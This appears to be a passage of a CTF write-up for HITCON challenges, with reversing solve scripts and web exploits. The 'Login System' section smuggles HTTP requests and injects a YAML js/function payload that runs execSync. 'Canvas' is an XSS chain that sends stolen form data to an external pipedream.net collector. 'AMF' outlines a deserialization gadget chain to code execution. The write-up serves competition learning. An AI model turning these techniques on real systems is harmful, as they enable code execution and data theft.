0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x0C, 0x00, 0x00, 0x00, 0xE9, 0x07, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xF6, 0x00, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xEA, 0x00, 0x00, 0x00, 0x83, 0xFA, 0x18, 0x75, 0x5D, 0x41, 0x8B, 0x4A, 0x10, 0x85, 0xC9, 0x74, 0x49, 0x83, 0xF9, 0x04, 0x77, 0x44, 0x4D, 0x8D, 0x4A, 0x14, 0x45, 0x8B, 0x42, 0x08, 0x41, 0x83, 0xE0, 0x07, 0x41, 0xC1, 0xE0, 0x05, 0x41, 0x8B, 0x42, 0x04, 0x83, 0xE0, 0x1F, 0x44, 0x0B, 0xC0, 0x89, 0x4C, 0x24, 0x28, 0x41, 0x8B, 0x42, 0x0C, 0x89, 0x44, 0x24, 0x20, 0x41, 0x8B, 0x12, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xEF, 0x06, 0x00, 0x00, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x18, 0x00, 0x00, 0x00, 0xE9, 0x94, 0x00, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x88, 0x00, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x7F, 0x83, 0xFA, 0x18, 0x75, 0x6A, 0x41, 0x8B, 0x4A, 0x10, 0x85, 0xC9, 0x74, 0x59, 0x83, 0xF9, 0x04, 0x77, 0x54, 0x41, 0x8B, 0x52, 0x0C, 0x83, 0xFA, 0x10, 0x72, 0x0E, 0x83, 0xFA, 0x27, 0x77, 0x09, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x56, 0x4D, 0x8D, 0x4A, 0x14, 0x45, 0x8B, 0x42, 0x08, 0x41, 0x83, 0xE0, 0x07, 0x41, 0xC1, 0xE0, 0x05, 0x41, 0x8B, 0x42, 0x04, 0x83, 0xE0, 0x1F, 0x44, 0x0B, 0xC0, 0x89, 0x4C, 0x24, 0x28, 0x89, 0x54, 0x24, 0x20, 0x41, 0x8B, 0x12, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x79, 0x06, 0x00, 0x00, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x18, 0x00, 0x00, 0x00, 0xEB, 0x19, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x10, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x07, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0x8B, 0x5F, 0x30, 0x32, 0xD2, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xB5, 0x06, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x83, 0xC4, 0x48, 0x5F, 0x5B, 0xC3]
# copy from CrazyArcade.sys+0x3000
kern_3000 = [0xB7, 0x8A, 0x19, 0x7F, 0x54, 0x2D, 0x81, 0xF0, 0xB8, 0xDD, 0xCA, 0xC9, 0xD3, 0xC3, 0x23, 0x32, 0xBA, 0x41, 0x81, 0xAB, 0x02, 0x53, 0xC9, 0x2E, 0xD6, 0x7E, 0x20, 0xAD, 0xAB, 0xED, 0x95, 0xD2, 0xB6, 0xE7, 0x2A, 0x92, 0x3E]
for i in range(0, 0x1337):
idx = i % 0x25
v = i ^ kern_3000[idx] ^ kern_1450[i % 0x584]
kern_3000[idx] = v & 0xFF
for i in range(0, len(kern_3000)):
print(chr(kern_3000[i]), end="")
```
```
hitcon{cr4zy_arc4de_wi7h_vuln_dr1ver}
```
### LessEQualmore
We are given a binary and a text file full of numbers separated by spaces.
The binary is rather easy to understand: It reads in the provided input file as `int64` numbers and stores them into memory. Then, some sort of VM is executed with this memory area.
The VM only have two operations, each operation has two operands. The first operation `op1(a, b)`, depending on the sign of the operands, either reads in a number, prints the character stored in `mem[a]`, or does `mem[b] -= mem[a]`. The second operation `op2(b, c)` checks if `mem[b] <= 0`, and if so jumps to `c`.
With some searching, this is actually an existing esoteric language called `subleq`. So all that's left to do is to figure what these instructions actually do.
First, some side-channel analysis tells us that the instruction count only correlates to the flag length, but not the flag characters, and that the flag length most likely is around 64 characters.
With some observation, we found that this program is basically using self-modification to achieve branching. Therefore we cannot simply translate it into assembly, and running it directly with symbolic execution engines will probably also lead us nowhere.
Luckily, all t
### Full Chain - The Blade
The function `seccomp_shell::shell::verify::h898bf5fa26dafbab` is called when we enter the "flag" shell command.
We extracted the magic from the shellcode and bruteforced the input byte by byte to get the flag.
```
#!/usr/bin/python3
def ROL(data, shift, size=32):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
chcker_arr = [0xA7, 0x51, 0x68, 0x52, 0x85, 0x27, 0xFF, 0x31, 0x88, 0x87, 0xD2, 0xC7, 0xD3, 0x23, 0x3F, 0x52, 0x55, 0x10, 0x1F, 0xAF, 0x27, 0xF0, 0x94, 0x5C, 0xCD, 0x3F, 0x7A, 0x79, 0x9F, 0x2F, 0xF0, 0xE7, 0x45, 0xF0, 0x86, 0x3C, 0xF9, 0xB0, 0xEA, 0x6D, 0x90, 0x42, 0xF7, 0x91, 0xED, 0x3A, 0x9A, 0x7C, 0x01, 0x6B, 0x84, 0xDC, 0x6C, 0xC8, 0x43, 0x07, 0x5C, 0x08, 0xF7, 0xDF, 0xEB, 0xE3, 0xAE, 0xA4]
checker_intarr = []
for i in range(0, len(chcker_arr), 4):
checker = chcker_arr[i] | (chcker_arr[i+1] << 8) | (chcker_arr[i+2] << 16) | (chcker_arr[i+3] << 24)
checker ^= 0x31f3831f # magic from shellcode
checker = ~checker & 0xFFFFFFFF
checker = ROL(checker, 0xB)
checker ^= 0x746f6f72 # magic from shellcode
checker -= 0x464c457f # magic from shellcode
checker_intarr.append(checker & 0xFFFFFFFF)
chcker_arr = []
for i in range(0, len(checker_intarr)):
#print(hex(checker_intarr[i]))
chcker_arr.append(checker_intarr[i] & 0xFF)
chcker_arr.append((checker_intarr[i] >> 8) & 0xFF)
chcker_arr.append((checker_intarr[i] >> 16) & 0xFF)
chcker_arr.append((checker_intarr[i] >> 24) & 0xFF)
target_idxs = [0, 38, 1, 3, 27, 5, 49, 40, 16, 11, 4, 22, 56, 60, 14, 10, 42, 50, 18, 2, 17, 21, 12, 25, 30, 47, 26, 57, 24, 29, 9, 31, 32, 33, 34, 6, 36, 63, 39, 19, 53, 35, 51, 43, 23, 45, 8, 52, 28, 62, 13, 46, 44, 59, 37, 55, 54, 15, 58, 20, 48, 61, 41, 7]
results = [0 for x in range(0, 64)]
input = [0] * 64
for target_idx in range(0, len(target_idxs)):
for x in range(0, 0x7F):
input[target_idxs[target_idx]] = x
for n in range(0, 256):
i = target_idxs[target_idx]
v59 = input[i] + 1
v51 = 1
v52 = 257
v60 = 0
v63 = 0
while True:
v62 = v52
v52 = int(v52 / v59)
v61 = v62 % v59
v63 = v51
v51 = v60 - v51 * v52
v52 = v59
v59 = v62 % v59
v60 = v63
if v61 == 0:
break
v64 = 0
if v63 > 0:
v64 = v63
input[i] = (int(((v64 + ((v63 & 0xFFFF) >> 15) - v63) & 0xFFFF) / 0x101) + v63 + ((v63 & 0xFFFF) >> 15) + 113) ^ 0x89
input[i] = input[i] & 0xFF
if input[target_idxs[target_idx]] == chcker_arr[target_idx]:
print("FIND ", chr(x))
results[target_idxs[target_idx]] += x
break
for i in range(0, len(results)):
print(chr(results[i]), end="")
```
```
hitcon{<https://soundcloud.com/monstercat/noisestorm-crab-rave>}
```
## web
### Login System
```python=
from pwn import *
import time
import json
import string
import random
import requests
HOST = "chal-login-system.chal.hitconctf.com"
PORT = 10195
def rand(N):
return ''.join(random.choices(string.ascii_uppercase + string.digits, k=N))
AUTH_USERNAME = "aaef41eed2598b25"
AUTH_PASSWORD = "896fb035c8d9f71d"
AUTH_ENCODED = base64.b64encode((AUTH_USERNAME+":"+AUTH_PASSWORD).encode())
AUTH_HEADER = "Authorization: Basic " + AUTH_ENCODED.decode()
print(AUTH_HEADER)
headers = {"Authorization": "Basic "+AUTH_ENCODED.decode()}
def register(uname, passw):
return requests.post(f"http://{HOST}:{PORT}/register", json={"username":uname, "password":passw, "privilegeLevel":"user"}, headers=headers)
username = rand(10) +".yaml\x00"
username2 = rand(10)
password = 99999999999999999999999
print(register(username, password).text)
register(username2, password)
def change_password(username, password, new_password):
r = remote(HOST, PORT)
json_for_req = {"username":username, "old_password":password, "new_password":new_password}
SMUGGLED_REQUEST = f"""POST /change_password\r
Host: localhost:3000\r
Accept: */*\r
Content-Length: {len(json.dumps(json_for_req))}\r
\r
{json.dumps(json_for_req)}"""
REQUEST = f"""POST /register HTTP/1.1\r
Host: localhost:3000\r
User-Agent: curl/7.81.0\r
Accept: */*\r
{AUTH_HEADER}\r
Connection: keep-alive\r
Content-Type: text/plain\r
Transfer-Encoding: chuNked\r
\r
{hex(len(SMUGGLED_REQUEST))[2:]}\r
{SMUGGLED_REQUEST}\r
0\r\n\r
"""
r.send(REQUEST)
r.recvall()
print(username)
print(username2)
change_password(username, password, """99}: 1
privilegeLevel: {
toString: !<tag:yaml.org,2002:js/function> "function (){return process.mainModule.require('child_process').execSync('/readflag').toString()}"
}
access: {'profile': true, register: true, login: true}
#""")
change_password(username2, password, f""""hackerman", "privilegeLevel":"../../../users/{username[:-6]}"}}/*""")
s = requests.Session();
print(s.post(f"http://{HOST}:{PORT}/login", json={"username":username2, "password":"hackerman"}, headers=headers).text)
print(s.get(f"http://{HOST}:{PORT}/profile", headers=headers).text)
```
### Canvas
```python=
<html>
<body>
<canvas id="canvas" width="1" height="1"></canvas>
<iframe id="holder" src="https://chal-canvas.chal.hitconctf.com"></iframe>
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
(async () => {
await sleep(500);
const stage1 = `(function pwn() {
if (this.pwned) return;
this.pwned = true;
const x = new this.Blob(['<html><head><script src="https://chal-canvas.chal.hitconctf.com/worker.js"></scr' + 'ipt></head></html>'], {type: 'text/html'})
const u = this.URL.createObjectURL(x)
this.postMessage({type: 'error', content: '<meta http-equiv="refresh" content="1;url=' + u.toString() + '" />'})
})()`;
const stage2 = `(function pwn() {
if (this.pwned) return;
this.pwned = true;
this.location.href = 'https://en09wmm9k078r3.x.pipedream.net/' + this.encodeURIComponent(this.window.top.frames[0].document.getElementById("code-form").code.value)
})()`;
const pwn = document.createElement("iframe");
pwn.src = `https://chal-canvas.chal.hitconctf.com/?code=${encodeURIComponent(stage1)}`;
document.body.appendChild(pwn);
await sleep(2000);
const canvas = document.getElementById("canvas").transferControlToOffscreen();
pwn.contentWindow.postMessage({ type: 'init', canvas: canvas, code: stage2 }, '*', [canvas]);
})()
</script>
</body>
</html>
```
### AMF
While deserializing the AMF packet, Py3AMF attempts to load the class from an arbitrary module and create an instance of it by invoking `klass.__new__(klass)` and setting the attributes according to the packet. In case an error occurs, AMF might display the wrong instance in the error message, which could be referred to as that instance's `__repr__`. Therefore, by chaining the gadget in the `__repr__` method of `pip._vendor.distlib.database.DependencyGraph` with the gadget in the `__call__` method of `pyamf.remoting.amf3.RequestProcessor`, we can eventually trigger `cProfile.Profile().run(cmd)`.
Exploit:
https://gist.github.com/lebr0nli/630005b6f5f87a81ae1823951cc3d5b6